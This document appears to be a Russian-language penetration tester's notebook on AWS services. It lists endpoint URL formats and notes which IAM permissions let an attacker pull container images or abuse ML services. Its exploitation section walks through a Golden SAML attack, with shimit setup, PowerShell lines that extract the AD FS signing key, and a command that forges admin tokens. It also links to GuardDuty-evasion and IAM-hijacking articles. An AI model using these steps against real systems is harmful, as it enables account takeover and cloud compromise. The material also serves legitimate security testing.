MSK (Managed Streaming for Apache Kafka)
Сервис потоковой передачи данных в Apache Kafka.
Формат ссылки:
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com
Cloud9
Облачная интегрированная среда разработки(IDE) используя только браузер.
Формат ссылки:
https://{random_id}.vfs.cloud9.{region}.amazonaws.com
MediaStore
Cервис хранилища AWS, оптимизированный для мультимедийных материалов.
Формат ссылки:
https://{random_id}.data.mediastore.{region}.amazonaws.com
Kinesis Video Streams
Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.
Формат ссылки:
https://{random_id}.kinesisvideo.{region}.amazonaws.com
Elemental MediaConvert
Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.
Формат ссылки:
https://{random_id}.mediaconvert.{region}.amazonaws.com
Elemental MediaPackage
Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.
Формат ссылки:
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel
ECR (Elastic Container Registry)
Региональный сервис, предназначенный для обеспечения гибкого развертывания образов.
Роли - управление
ecr:ListImages
Получить список образов:
aws ecr list-images --repository-name <ECR_name> --registry-id <UserID> --region <region> --profile <profile_name>
ecr:GetDownloadUrlForLayer
Позволяет получить URL на скачивание образа.
ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken
Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов):
aws ecr get-login
docker pull <UserID>.dkr.ecr.us-east-1.amazonaws.com/<ECRName>:latest
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
ECS (Elastic Container Service)
Сервис координирования контейнеров - развертывание, администрирование, масштабирование.
Статьи
Утилиты
https://github.com/RhinoSecurityLabs/ccat
Augmented AI (Amazon A2I)
Предоставляет интерфейс для обработки человеком предварительных результатов, полученных с помощью машинного обучения.
Данные сохраняются в S3, а также к задаче прикрепляется IAM-роль .
При создании задачи разделяется на 3 варианта:
- Textract - извлечение пары ключ-значение из текста
- Rekognition - определение того, что изображено на фото. Например, чтобы оградить от 18+ контента.
- Custom - пользовательский вариант
Интересный факт - использует "Quill Rich Text Editor" для текста с инструкциями. То есть, если в нем будет уязвимость, то можно проверить амазон тоже.
https://aws.amazon.com/ru/augmented-ai/
Также у сервиса есть Workers - сервера, выполняющие кучу тасков. Они могут быть трех типов:
1. Amazon Mechanical Turk - тупо сервера Amazon, за которые надо платить.
2. Private - юзают если обрабатывают приватную инфу или задачи, не поддерживаемые первым пунктом (ну или регион не поддерживается). Это команды, которые имеют доступ к данным и которые могут запускать задачи. Команды менеджарятся с Amazon Cognito.
3. Vendor - решения сторонних разработчиков.
Роли
AmazonAugmentedAIIntegratedAPIAccess
Дает доступ к Augmented AI Runtime, Amazon Rekognition или Amazon Textract API.
TODO: проверить, дает ли это еще возможностей злоумышленнику
CodeGuru
Автоматизируйте проверку кода и оптимизируйте производительность приложений с помощью рекомендаций на базе машинного обучения
https://aws.amazon.com/ru/codeguru/
Разделяется на следующие части:
- Reviewer - выявляет критические проблемы, уязвимости системы безопасности и трудноуловимые ошибки + дает рекомендации (языки Java и Python) - статикой.
- Profiler - выявление самых дорогостоящих строк, повышение производительности и тд засчет запуска в среде выполнения. Важно особенно для тех, кто платит за время работы скриптов.
Также на странице есть упоминание про их игру - BugBust
https://us-east-1.console.aws.amazon.com/codeguru/bugbust/participant#/
Comprehend
https://aws.amazon.com/ru/comprehend/
Сервис по извлечению ценной информации из текста и работе с ним.
Список категорий, на которые может разбить текст, есть на фото выше.
Для пользовательских настроек есть несколько параметров:
- Кастомные классификации
- Кастомные определения вставок в тексте
- Endpoints - для real-time работы. !!! Достаточно дорогой сервис. В месяц берет 1400$ при минимальной сборке, поэтому если злоумышленник сможет запускать в нем Endpoint'ы в большом количестве, то компания обанкротится.
DevOps Guru
https://aws.amazon.com/ru/devops-guru/
Собирает метрики из различных сервисов и детектит различные аномалии. Проще говоря, делает статистику по метрикам и с машинным обучением находит ошибки.
Источники метрик:
- CloudWatch
- AWS Config
- CloudTrail
- X-Ray
Если рассуждать со стороны злоумышленника, то если у него есть доступ к DevOps Guru, то у него также есть AIM-роль "Amazon DevOps Guru_Role" и привилегии на доступ к следующим ресурсам:
- Amazon CloudWatch
- Amazon CloudWatch Events
- Amazon CloudWatch Logs
- AWS CodeDeploy
- AWS CodePipeline
- AWS CloudFormation
- AWS CloudTrail
- AWS Systems Manager
- AWS X-Ray
Elastic Inference
https://aws.amazon.com/machine-learning/elastic-inference/
Forecast
Служба прогнозирования временных рядов используя машинное обучение (предсказывание последующих событий).
https://aws.amazon.com/ru/forecast/
При настройке можно выбрать один из forecasting-доменов:
- Retail
- Custom
- Inventory planning
- EC2 capacity
- Work force
- Web traffic
- Metrics
Формально это шаблоны для быстрой настройки сервиса.
Если у атакующего есть привилегии данного сервиса, то можно предположить, что он тоже может получать те же данные (например, количество трафика), что и сам сервис
Fraud Detector
https://aws.amazon.com/ru/fraud-detector/
"Разработка и развертывание моделей выявления мошенничества используя машинное обучение"
HealthLake
https://aws.amazon.com/healthlake/
Kendra
https://aws.amazon.com/kendra/?did=ap_card&trk=ap_card
Lex
https://aws.amazon.com/lex/?did=ap_card&trk=ap_card
Lookout for Equipment
https://aws.amazon.com/ru/lookout-for-equipment/
Lookout for Metrics
https://aws.amazon.com/lookout-for-metrics/
Lookout for Vision
https://aws.amazon.com/lookout-for-vision/
Monitron
https://aws.amazon.com/monitron/
Personalize
https://aws.amazon.com/personalize/
Polly
Rekognition
https://aws.amazon.com/rekognition/
SageMaker
https://aws.amazon.com/sagemaker/
SageMaker Ground Truth
https://aws.amazon.com/sagemaker/groundtruth/
Textract
https://aws.amazon.com/textract/
Transcribe
https://aws.amazon.com/transcribe/
Translate
https://aws.amazon.com/translate/
Apache MXNet
https://aws.amazon.com/ru/mxnet/
Deep Learning Containers
https://aws.amazon.com/machine-learning/containers/
DeepComposer
https://aws.amazon.com/deepcomposer/
DeepLens
https://aws.amazon.com/deeplens/
DeepRacer
https://aws.amazon.com/deepracer/
Inferentia
https://aws.amazon.com/machine-learning/inferentia/
Panorama
https://aws.amazon.com/panorama/
PyTorch
https://aws.amazon.com/pytorch/
TensorFlow
https://aws.amazon.com/tensorflow/
Deep Learning AMI
https://aws.amazon.com/machine-learning/amis/
Утилиты
Вычисление ролей
enumerate-iam
github.com:andresriancho/enumerate-iam.git
Эксплуатация
Golden SAML
Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO.
Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
shimit
https://github.com/cyberark/shimit
Установка:
cd /tmp
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
git clone https://github.com/cyberark/shimit
cd shmit
python shmit.py
В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ.
Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell
Пример эксплуатации:
# Получаем приватный ключ
[System.Convert]::ToBase64String($cer.rawdata)
(Get-ADFSProperties).Identifier.AbsoluteUri
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule
# Получаем инфу о юзерах - выбираем цель
aws iam list-users
# Получаем токен
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# Проверяем текущий аккаунт
aws opsworks describe-my-user-profile
Проверки безопасности
Для администраторов преимущественно.
Zeus
https://github.com/DenizParlak/Zeus
Другое
aws_consoler
https://github.com/NetSPI/aws_consoler
All-In-One
pacu
https://github.com/RhinoSecurityLabs/pacu
ScoutSuite
https://github.com/nccgroup/ScoutSuite
cloudfox
https://github.com/BishopFox/cloudfox
Ссылки
Статьи
Hijacking IAM Roles and Avoiding Detection
Bypass GuardDuty PenTest Alerts
Intercept SSM Agent Communications
Лаборатории
Damn Vulnerable Cloud Application
Attack Detection Fundamentals 2021: AWS - Lab #1